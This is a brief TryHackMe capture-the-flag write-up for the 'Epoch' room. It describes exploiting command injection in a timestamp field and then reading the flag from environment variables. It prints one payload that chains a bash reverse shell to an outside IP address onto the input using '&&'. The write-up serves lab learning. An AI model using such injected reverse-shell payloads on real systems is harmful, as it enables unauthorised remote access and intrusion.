Post

Epoch

Posted Updated
By Kaviu Nethsara
1 min read
Epoch

Epoch

Pasted image 20260603132023.png

🔍 Analyzing Command Injection

🕵️ First, I checked the input field: Pasted image 20260603132045.png.

💻 The page executes commands, so I used the && operator to chain a payload: Pasted image 20260603132059.png

1

1700000000 && /bin/bash -i >& /dev/tcp/10.49.79.37/4444 0>&1

🕵️ Reverse Shell & Flag Retrieval

⚡ I opened a reverse shell: Pasted image 20260603134236.png

💡 I checked the environment variables for the flag and found it: Pasted image 20260603160453.png

Writeup, TryHackMe
This post is licensed under CC BY 4.0 by the author.